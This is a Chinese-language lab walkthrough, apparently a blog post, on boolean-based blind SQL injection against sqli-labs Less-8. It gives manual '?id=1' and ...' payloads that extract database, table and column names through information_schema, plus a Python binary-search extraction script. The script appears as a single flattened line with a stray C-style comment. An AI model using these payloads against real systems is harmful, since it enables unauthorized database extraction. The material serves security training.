目录
布尔盲注（第八关）
1.判断
2.确认布尔盲注
3.手工尝试布尔盲注
表名字符
表数
表名长度
表字符
字段数
字段名长度
字段字符
4.脚本布尔盲注注入
布尔盲注（第八关）
1.判断
布尔盲注了，这种页面只会有成功和错误两个状态的页面，不会出现报错显示，这种可以尝试可以通过布尔盲注来不断尝试猜测出数据：并且我们可以使用多种方法来注入
2.确认布尔盲注
进行闭合测试
单引号测试
这里发现页面变换，但是没有报错
单引号闭合测试
发现这里闭合方式就是单引号
确认是否真的没有报错
使用order by 排列
发现页面变换，但是没有报错了，只有这两种页面，基本就是布尔盲注了
3.手工尝试布尔盲注
手动进行布尔盲注十分麻烦，首先先要注入出名字的长度
?id=1' and (select length(database())>3) --+
?id=1' and (select length(database())>8) --+
?id=1' and (select length(database())>5) --+
?id=1' and (select length(database())>6) --+
然后一个一个注入出名字的字符的ASCLL码然后对照表将名字完整的获取出来
| 十进制 | 十六进制 | 字符 | 说明 | |
|---|---|---|---|---|
| 32 | 0x20 | 空格 (Space) | ||
| 33-47 | 0x21-0x2F | ! " # ... / | 标点符号 | |
| 48-57 | 0x30-0x39 | 0-9 | 阿拉伯数字 | |
| 58-64 | 0x3A-0x40 | : ; < ... @ | 特殊符号 | |
| 65-90 | 0x41-0x5A | A-Z | 大写英文字母 | |
| 91-96 | 0x5B-0x60 | [ \ ] ... ``` | 特殊符号 | |
| 97-122 | 0x61-0x7A | a-z | 小写英文字母 | |
| 123-126 | 0x7B-0x7E | { | } ~ | 特殊符号 |
表名字符
一般名字命名的字符是在32-128之间，所以测试一般在里面测试
可以用二分法进行测试
?id=1' and ((select ascii(substr(database(),1,1)))>80) --+
?id=1' and ((select ascii(substr(database(),1,1)))>104) --+
?id=1' and ((select ascii(substr(database(),1,1)))>116) --+
?id=1' and ((select ascii(substr(database(),1,1)))>110) --+
?id=1' and ((select ascii(substr(database(),1,1)))>113) --+
?id=1' and ((select ascii(substr(database(),1,1)))>114) --+
最后确定是ASCLL是115，对照ASCLL是字符s
剩下的也这样一个一个慢慢的注入出来
表数
注入出数据库名后再去注入表名与字段名
由于表名与字段名一般不可能只有一个，所以需要多注入出它们的具体数量
?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 3--+
?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 5--+
表名长度
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 --+
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 --+
表字符
?id=1' and (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) --+
字段数
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 --+
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4 --+
字段名长度
?id=1' and (select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>6 --+
字段字符
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32) --+
所以这种方式十分费时费力，建议写python的脚本进行注入
4.脚本布尔盲注注入
import requests #用于发送HTTP请求url = "http://127.0.0.1/sqli-labs/Less-8/"def inject_database(url):name = ''# 初始化空字符串，存储最终数据库名for i in range(1, 100):# 遍历字符位置（假设数据库名最长99字符）low = 32# ASCII可打印字符起始值（空格）high = 128# ASCII结束值（DEL字符，实际只用到127）mid = (low + high) // 2# 二分法初始中间值while low < high:# 二分查找当前字符的ASCII值payload = " 1' and ascii( substr( (select database()),%d,1)) > %d-- " % (i, mid)/**" " 里面是构造的Payload1' 闭合前面的单引号ascii() 将字符转换为相应的ACSII值substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表iselect( database()) 查询获取当前的数据库名()>%d 第二个也就是这个%d是midand ('1')=('1 闭合% (i, mid) 为 Python 的字符串格式化语法，将变量 i（字符位置）和 mid（猜测的 ASCII 值）动态插入 Payload，实现自动化枚*/params = {"id": payload}r = requests.get(url, params=params)if "You are in..........." in r.text:#if() 看页面里面有没有You are in...........来判断字符的ASCII值是否大于mid low = mid + 1# 当前字符ASCII值 > mid，调整下限else:high = midmid = (low + high) // 2if mid == 32:# 若mid为32（空格），终止循环breakname = name + chr(mid)# 将ASCII转为字符并拼接print(name)# 实时输出当前结果inject_database(url)
# 执行注入函数
